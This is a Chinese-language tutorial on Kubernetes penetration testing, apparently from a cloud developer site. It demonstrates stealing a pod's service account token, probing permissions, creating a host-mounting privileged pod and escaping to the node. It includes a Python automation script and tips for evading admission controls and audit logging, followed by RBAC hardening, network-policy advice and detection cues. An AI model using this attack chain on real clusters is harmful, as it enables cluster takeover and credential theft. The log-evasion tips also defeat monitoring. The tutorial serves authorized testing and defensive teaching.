前言

  1. 技术背景:云原生已成为现代应用架构的基石,其核心组件 Kubernetes (K8s)服务网格 (Service Mesh)Istio,以及无服务器 (Serverless) 架构,在提升效率与弹性的同时,也引入了全新的攻击面。在现代网络攻防体系中,云原生渗透测试不再是传统内网渗透的简单延伸,而是专门针对容器、编排系统、微服务通信及云函数的专业领域,是评估企业核心数字资产安全性的关键环节。

  2. 学习价值:掌握云原生渗透测试,意味着您能够:

    • 解决新问题:评估和利用因容器化、服务网格和无服务器架构引入的特有漏洞,如配置不当、权限过大、镜像漏洞、逃逸漏洞等。
    • 提升能力:从传统的主机/网络层渗透,升级到能够理解和攻击分布式应用架构的更高维度。
    • 创造价值:为企业发现潜藏在云原生基础设施中的重大安全隐患,提供可落地的修复建议,直接提升业务安全水位。
  3. 使用场景:本教程教授的技能可直接应用于以下场景:

    • 授权渗透测试:对企业的生产或预生产 Kubernetes 集群进行全面的安全评估。
    • 红蓝对抗演练:模拟高级攻击者,检验云原生环境下的监控、检测与响应能力。
    • 安全架构评审:从攻击者视角出发,评估和加固新的云原生应用架构设计。
    • DevSecOps 流程:将自动化安全测试集成到 CI/CD 管道中,实现安全左移。

一、Kubernetes 是什么

  • 精确定义Kubernetes(常简称为 K8s)是一个开源的容器编排平台,用于自动化容器化应用程序的部署、扩展和管理。它负责管理构成应用程序的容器集群,确保它们按预期运行。

  • 一个通俗类比:想象一下,你是一家大型航运公司的调度总管。你有成千上-万个装满货物的集装箱(容器),需要部署到全球的货轮(节点/服务器)上。Kubernetes 就是你的自动化调度系统。你只需告诉它:“我需要 50 个装载 A 货物的集装箱,并且要保证它们一直在线”,K8s 就会自动寻找合适的货轮、装载集装箱、监控它们的状态,如果某个集装箱损坏(应用崩溃),它会自动换上一个新的,完全无需你手动干预。

  • 实际用途

    • 微服务部署:管理构成复杂应用的数百个微服务。
    • 弹性伸缩:根据流量自动增减应用实例数量。
    • 高可用性:自动处理节点或应用的故障,实现服务自愈。
    • 滚动更新:平滑地发布新版本应用,不中断服务。
  • 技术本质说明:Kubernetes 的本质是一个分布式状态机。用户通过 API Server 声明应用的“期望状态”(例如,“我需要 3 个 Nginx 副本”),各个组件(如 Controller Manager、Scheduler)则协同工作,不断地驱动集群的“当前状态”去匹配这个“期望状态”。所有状态信息都持久化存储在 etcd 这个分布式键值存储中。攻击 K8s 的核心,就是想办法控制 API Server,或者利用某个组件的漏洞,来改变集群的状态,执行恶意操作。

核心架构与攻击路径

为了更好地理解 Kubernetes 原理,下图展示了其核心组件关系以及潜在的攻击向量。攻击者可能通过攻击工作节点上的 Pod,横向移动到其他 Pod,甚至尝试获取节点权限,最终目标是控制 Master 节点上的 API Server,从而接管整个集群。

Worker1

攻击者_Attacker

Worker2

Kubelet

Pod C

Pod D

Master_控制平面

API Server

etcd 数据库

Controller Manager

Scheduler

外部网络

Kubelet

Pod A

Pod B


二、环境准备

本节将指导您搭建一个包含常见漏洞的 Kubernetes 实验环境。

  • 工具版本

    • Minikube: v1.32.0 (用于快速搭建本地 K8s 集群)
    • kubectl: v1.28.3 (K8s 命令行客户端)
    • Docker: 24.0.7 (作为 Minikube 的驱动)
  • 下载方式

    • Minikube: 访问官方 GitHub Releases 页面下载对应系统的二进制文件。
    • kubectl: 遵循 Kubernetes 官方文档的安装指南。
    • Docker: 访问 Docker 官网下载并安装 Docker Desktop。
  • 核心配置命令

    1. 启动 Minikube 集群
      # 使用 docker 驱动启动一个名为 'insecure-cluster' 的集群
      minikube start --driver=docker --profile insecure-cluster
      
    2. 配置 kubectl 上下文
      # 将 kubectl 指向我们刚创建的集群
      minikube profile insecure-cluster
      kubectl config use-context insecure-cluster
      
  • 可运行环境命令(部署一个有漏洞的应用)
    我们将部署一个允许匿名访问且拥有过大权限的 Dashboard,这是 Kubernetes 实战中常见的攻击入口。

    # 部署一个老版本的、存在漏洞的 Kubernetes Dashboard
    # 警告:此配置极不安全,仅限在隔离的授权测试环境中使用。
    kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.0.0-beta8/aio/deploy/recommended.yaml
    
    # 创建一个拥有集群管理员权限的服务账户 (ServiceAccount)
    cat <<EOF | kubectl apply -f -
    apiVersion: v1
    kind: ServiceAccount
    metadata:
      name: admin-user
      namespace: kubernetes-dashboard
    ---
    apiVersion: rbac.authorization.k8s.io/v1
    kind: ClusterRoleBinding
    metadata:
      name: admin-user
    roleRef:
      apiGroup: rbac.authorization.k8s.io
      kind: ClusterRole
      name: cluster-admin
    subjects:
    - kind: ServiceAccount
      name: admin-user
      namespace: kubernetes-dashboard
    EOF
    
    # 启动代理,使我们可以在本地访问 Dashboard
    echo "启动代理,请在浏览器中打开 Dashboard URL..."
    kubectl proxy &
    
    # 在新终端中获取访问 Token
    echo "请在新终端执行以下命令获取 Token,并使用它登录 Dashboard:"
    echo "kubectl -n kubernetes-dashboard get secret \$(kubectl -n kubernetes-dashboard get sa/admin-user -o jsonpath=\"{.secrets[0].name}\") -o go-template=\"{{.data.token | base64decode}}\""
    echo ""
    echo "Dashboard URL: http://localhost:8001/api/v1/namespaces/kubernetes-dashboard/services/https-kubernetes-dashboard:/proxy/"
    

三、核心实战:从 Pod 到集群控制

本节演示一个完整的攻击链:利用配置不当的 Service Account Token,从一个受限的 Pod 内部,逐步升级权限,最终控制整个 Kubernetes 集群

  • 场景:假设我们通过应用漏洞(如 RCE)获得了一个普通 Pod 的 Shell。

步骤 1:信息收集 - 我在哪里?

目的:确认当前环境是否在 Kubernetes Pod 内,并收集 Service Account 信息。

# 在模拟的 Pod Shell 中执行

# 1. 检查是否存在 Service Account 默认挂载的目录
ls -l /var/run/secrets/kubernetes.io/serviceaccount/

# 输出结果示例:
# total 0
# lrwxrwxrwx 1 root root 13 Mar 19 15:42 ca.crt -> ..data/ca.crt
# lrwxrwxrwx 1 root root 16 Mar 19 15:42 namespace -> ..data/namespace
# lrwxrwxrwx 1 root root 12 Mar 19 15:42 token -> ..data/token

# 2. 读取并存储 Token 和命名空间信息
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
echo "Token: $TOKEN"
echo "Namespace: $NAMESPACE"

说明:如果该目录存在,几乎可以肯定我们处于一个 K8s Pod 中。token 文件包含了可以与 API Server 交互的凭证。

步骤 2:权限探测 - 我能做什么?

目的:使用获取到的 Token,通过 kubectlauth can-i 命令探测当前 Service Account 拥有哪些权限。

# 在拥有 kubectl 的攻击机上执行,或者在 Pod 内安装 kubectl

# 假设我们已将 Pod 内的 Token 复制到攻击机
# 配置 kubectl 使用窃取到的 Token
kubectl --server=https://<API_SERVER_IP>:<PORT> --token=$TOKEN --insecure-skip-tls-verify=true auth can-i --list -n $NAMESPACE

# 输出结果示例(权限过小的情况):
# Resources                               Verbs
# selfsubjectaccessreviews.authorization.k8s.io [create]
# selfsubjectrulesreviews.authorization.k8s.io  [create]

# 输出结果示例(权限过大的情况,我们的目标!):
# Resources                               Verbs
# *.*                                     [*]

说明*.* [*] 表示拥有所有资源的所有操作权限,即集群管理员。这是典型的配置错误。

步骤 3:权限提升 - 创建特权 Pod

目的:利用已有的高权限 Token,创建一个新的、配置了特权的 Pod。这个新 Pod 将挂载宿主机的根文件系统,为我们实现容器逃逸做准备。

# attack-pod.yaml
# 警告:此 Pod 定义具有极高的危险性,仅限在授权测试环境中使用。
# 它会挂载宿主机的根目录到容器的 /host 目录。
apiVersion: v1
kind: Pod
metadata:
  name: attack-pod
  namespace: default # 可以选择任意有权限的命名空间
spec:
  containers:
  - name: attack-container
    image: ubuntu:latest
    # 保持容器持续运行
    command: ["/bin/sh", "-c", "sleep 3600"]
    volumeMounts:
    - name: host-fs
      mountPath: /host
  volumes:
  - name: host-fs
    hostPath:
      # 挂载宿主机的根目录
      path: /
      type: Directory
  # 关键:允许 Pod 在任何节点上调度,并使用宿主机的网络和进程空间
  hostNetwork: true
  hostPID: true
  hostIPC: true
# 使用窃取的 Token 部署恶意 Pod
kubectl --server=https://<API_SERVER_IP>:<PORT> --token=$TOKEN --insecure-skip-tls-verify=true apply -f attack-pod.yaml

步骤 4:容器逃逸与控制节点

目的:进入我们创建的特权 Pod,通过 chroot 命令切换到宿主机的根文件系统,从而获得对该 Worker 节点的完全控制。

# 1. 进入特权 Pod
kubectl --server=https://<API_SERVER_IP>:<PORT> --token=$TOKEN --insecure-skip-tls-verify=true exec -it attack-pod -n default -- /bin/bash

# 2. 在 attack-pod 的 Shell 中,切换到宿主机文件系统
# 现在你看到的是宿主机的根目录
chroot /host

# 你现在已经是宿主机 root 权限了!
# 可以查看节点上的所有容器、Kubelet 配置等
# 例如,窃取其他 Pod 的敏感信息或 Kubelet 的凭证
ls /var/lib/kubelet/pki/

自动化攻击脚本

以下是一个 Python 脚本,用于自动化执行上述流程中的步骤 1 到 3。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

# ---
# 警告:本脚本仅用于授权的渗透测试和安全研究。
# 未经授权的攻击是非法行为。使用者需自行承担所有法律责任。
# ---

import os
import json
import requests
import argparse
from urllib3.exceptions import InsecureRequestWarning

# 禁用不安全请求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def check_pod_permissions(api_server, token, namespace):
    """
    使用给定的 Token 检查其在指定命名空间下的权限。
    """
    headers = {"Authorization": f"Bearer {token}"}
    url = f"{api_server}/apis/authorization.k8s.io/v1/selfsubjectrulesreviews"
    body = {
        "apiVersion": "authorization.k8s.io/v1",
        "kind": "SelfSubjectRulesReview",
        "spec": {"namespace": namespace}
    }
    try:
        response = requests.post(url, headers=headers, json=body, verify=False)
        response.raise_for_status()
        permissions = response.json()
        
        # 检查是否存在创建 Pod 的权限
        for rule in permissions.get("status", {}).get("resourceRules", []):
            if ("pods" in rule.get("resources", []) or "*" in rule.get("resources", [])) and \
               ("create" in rule.get("verbs", []) or "*" in rule.get("verbs", [])):
                print("[+] 发现 Pod 创建权限!可以尝试权限提升。")
                return True
        print("[-] 未发现足够的权限来创建 Pod。")
        return False
    except requests.exceptions.RequestException as e:
        print(f"[!] 权限检查失败: {e}")
        if "403" in str(e):
            print("[-] 服务器返回 403 Forbidden,当前 Token 权限不足。")
        return False

def create_privileged_pod(api_server, token, namespace, pod_name="attack-pod"):
    """
    利用 Token 创建一个挂载宿主机根目录的特权 Pod。
    """
    headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/yaml"}
    url = f"{api_server}/api/v1/namespaces/{namespace}/pods"
    
    pod_manifest = f"""
apiVersion: v1
kind: Pod
metadata:
  name: {pod_name}
spec:
  containers:
  - name: attack-container
    image: alpine
    command: ["/bin/sh", "-c", "sleep 36000"]
    volumeMounts:
    - mountPath: /host
      name: host-root
  volumes:
  - name: host-root
    hostPath:
      path: /
    """
    
    try:
        response = requests.post(url, headers=headers, data=pod_manifest, verify=False)
        response.raise_for_status()
        print(f"[+] 成功创建特权 Pod '{pod_name}' 于命名空间 '{namespace}'。")
        print(f"[*] 使用 'kubectl exec -it {pod_name} -n {namespace} -- /bin/sh' 进入。")
        print(f"[*] 进入后,执行 'chroot /host' 即可逃逸到宿主机。")
        return True
    except requests.exceptions.RequestException as e:
        print(f"[!] 创建 Pod 失败: {e}")
        if "409" in str(e):
            print(f"[*] Pod '{pod_name}' 可能已存在。")
        return False

def main():
    parser = argparse.ArgumentParser(description="Kubernetes Service Account 权限提升自动化工具。")
    parser.add_argument("--api-server", required=True, help="Kubernetes API Server 的 URL (例如: https://192.168.49.2:8443)。")
    parser.add_argument("--token", required=True, help="从 Pod 中窃取的 Service Account Token。")
    parser.add_argument("--namespace", default="default", help="目标命名空间 (默认为 'default')。")
    
    args = parser.parse_args()

    print("--- Kubernetes 渗透测试:自动化权限提升脚本 ---")
    print("--- 警告:仅限授权测试环境使用 ---")

    if check_pod_permissions(args.api_server, args.token, args.namespace):
        create_privileged_pod(args.api_server, args.token, args.namespace)

if __name__ == "__main__":
    # 使用示例:
    # python3 k8s_pwn.py --api-server https://<API_SERVER_IP>:<PORT> --token <YOUR_TOKEN> --namespace default
    main()

四、进阶技巧

  • 常见错误

    • 忽略非默认命名空间:攻击者常常只在 default 命名空间下探测,但高权限服务可能部署在 kube-system 或自定义命名空间中。务必枚举所有命名空间进行探测。
    • 仅关注 Pod 创建权限:即使没有创建 Pod 的权限,secrets 的读取权限也可能让你获取到其他更高权限的 Token 或敏感配置。pods/exec 权限则可以直接进入现有容器。
  • 性能 / 成功率优化

    • 使用静态 Pod:如果获得了节点权限,可以直接在节点的 /etc/kubernetes/manifests/ 目录下放置 Pod 定义文件。Kubelet 会自动拉起这个 Pod,它不受 API Server 控制,更隐蔽,也更稳定。
    • 利用 hostPath 挂载 Docker Socket:如果 hostPath 挂载根目录被阻止,可以尝试挂载 /var/run/docker.sock。之后在 Pod 内安装 Docker 客户端,就可以通过 socket 与宿主机的 Docker 守护进程通信,创建任意容器,等同于节点权限。
  • 实战经验总结

    • Token 是关键:在 K8s 环境中,Service Account Token 是横向移动和权限提升的“万能钥匙”。拿到任何一个 Token,第一步都是探测其权限。
    • 关注 cluster-adminClusterRoleBinding 是权限分配的核心。寻找绑定到 cluster-admin 角色的 Service Account、User 或 Group 是最直接的提权路径。
    • 利用网络策略:在有严格网络策略的集群中,即使拿到 Shell,也可能无法访问 API Server。此时需要分析当前 Pod 的网络策略,寻找可以通信的“出口”,或者利用 DNS 来发现内部服务。
  • 对抗 / 绕过思路

    • Pod 安全策略 (PSP) / Pod 安全准入 (PSA):较新版本的 K8s 使用 Pod Security Admission 来限制创建特权容器。攻击时需要仔细构造 Pod 定义,寻找策略允许的“最小特权”组合来达到目的,例如只挂载特定敏感路径而非根目录。
    • OPA/Gatekeeper:一些集群使用 Open Policy Agent (OPA) 作为更灵活的准入控制器。攻击前需要猜测或探测策略规则。例如,如果策略禁止使用 latest 标签的镜像,攻击时就必须指定一个版本号。
    • 日志混淆:在执行 kubectl exec 等敏感操作时,可以添加大量无用命令来干扰日志审计,或者使用不易被规则匹配的命令执行方式。

五、注意事项与防御

错误写法 vs 正确写法

  • 错误(过度授权):为了图方便,将 default Service Account 绑定到 cluster-admin
    # 极度危险的配置
    apiVersion: rbac.authorization.k8s.io/v1
    kind: ClusterRoleBinding
    metadata:
      name: dangerous-default-binding
    subjects:
    - kind: ServiceAccount
      name: default
      namespace: default
    roleRef:
      kind: ClusterRole
      name: cluster-admin
      apiGroup: rbac.authorization.k8s.io
    
  • 正确(最小权限原则):为应用创建专用的 Service Account,并只授予其完成工作所必需的最小权限。
    apiVersion: v1
    kind: ServiceAccount
    metadata:
      name: my-app-sa
      namespace: my-app
    ---
    apiVersion: rbac.authorization.k8s.io/v1
    kind: Role
    metadata:
      namespace: my-app
      name: pod-reader
    rules:
    - apiGroups: [""]
      resources: ["pods"]
      verbs: ["get", "watch", "list"]
    ---
    apiVersion: rbac.authorization.k8s.io/v1
    kind: RoleBinding
    metadata:
      name: read-pods-binding
      namespace: my-app
    subjects:
    - kind: ServiceAccount
      name: my-app-sa
    roleRef:
      kind: Role
      name: pod-reader
      apiGroup: rbac.authorization.k8s.io
    

风险提示

  • 任何允许挂载宿主机路径(hostPath)、使用宿主机网络(hostNetwork)或特权模式(privileged: true)的 Pod 都存在极高的逃逸风险。
  • 暴露 Kubernetes Dashboard 到公网且没有强认证,无异于将集群管理后台公之于众。
  • API Server 允许匿名访问 (--anonymous-auth=true) 是一个极其危险的配置。

开发侧安全代码范式

  • 不要在代码中硬编码凭证:使用 K8s Secrets 来管理数据库密码、API 密钥等。
  • 使用 Distroless/Slim 镜像:选择不包含 shell 或不必要工具的基础镜像,增加攻击者在获取 Shell 后进行操作的难度。
  • 应用内权限控制:即使在同一个 Pod 内,也应实现应用级别的用户权限控制,而不是依赖于容器的边界。

运维侧加固方案

  • 启用 Pod Security Admission (PSA):在 restricted 模式下运行,严格限制特权容器的创建。
  • 实施网络策略 (Network Policies):默认拒绝所有 Pod 间的流量,仅允许必要的通信,阻止横向移动。
  • 定期审计 RBAC 权限:使用 kubectl-who-can 或开源工具(如 krane)定期扫描和审查集群中的角色和绑定,清理不必要的权限。
  • 升级 Kubernetes 版本:及时跟进社区发布的安全补丁,修复已知的漏洞。

日志检测线索

  • API Server 审计日志
    • 可疑的 pods/exec:监控非典型用户(如 Service Account)对 Pod 执行 exec 操作。
    • 创建特权 Pod:告警任何包含 hostPath, hostNetwork, privileged: true 等字段的 Pod 创建请求。
    • 权限探测行为:短时间内大量来自同一源的 selfsubjectaccessreviews 请求。
  • 节点日志 (journalctl -u kubelet)
    • 异常容器启动:监控由非正常流程(如静态 Pod)启动的容器。
    • 敏感挂载:记录所有 hostPath 的挂载事件。

总结

  1. 核心知识:Kubernetes 渗透测试的核心是围绕 API Server 的攻防。攻击的本质是获取一个能与 API Server 通信的凭证(通常是 Service Account Token),并利用其权限执行恶意操作,最终目标是获得集群最高权限(cluster-admin)。

  2. 使用场景:本教程演示的“窃取 Token -> 探测权限 -> 创建特权 Pod -> 容器逃逸”是 K8s 渗透中最经典、最有效的攻击链之一,适用于绝大多数授权红队评估和安全审计场景。

  3. 防御要点:防御的核心是遵循最小权限原则。通过 RBAC 精细化授权、使用 Pod 安全准入限制危险容器、并以网络策略隔离工作负载,可以极大提高攻击门槛。

  4. 知识体系连接:掌握 K8s 渗透是云原生安全能力的重要一环。它向上连接到应用安全(通过应用漏洞获取初始访问),向下连接到主机安全(容器逃逸后即为节点主机攻防),横向则与服务网格无服务器安全紧密相关。

  5. 进阶方向

    • 服务网格 (Istio) 渗透:研究如何利用 Istio 的配置错误(如宽松的 AuthorizationPolicy)进行服务劫持和流量嗅探。
    • 无服务器 (Serverless) 攻击:探索针对 Lambda、Knative 等平台的函数漏洞利用、权限提升和数据泄露技术。
    • 供应链攻击:研究如何通过污染 CI/CD 流水线或容器镜像仓库来植入后门,实现对整个云原生环境的持久化控制。

自检清单

  • 是否说明技术价值?
  • 是否给出学习目标?
  • 是否有 Mermaid 核心机制图?
  • 是否有可运行代码?
  • 是否有防御示例?
  • 是否连接知识体系?
  • 是否避免模糊术语?
Logo

腾讯云面向开发者汇聚海量精品云计算使用和开发经验,营造开放的云计算技术生态圈。

更多推荐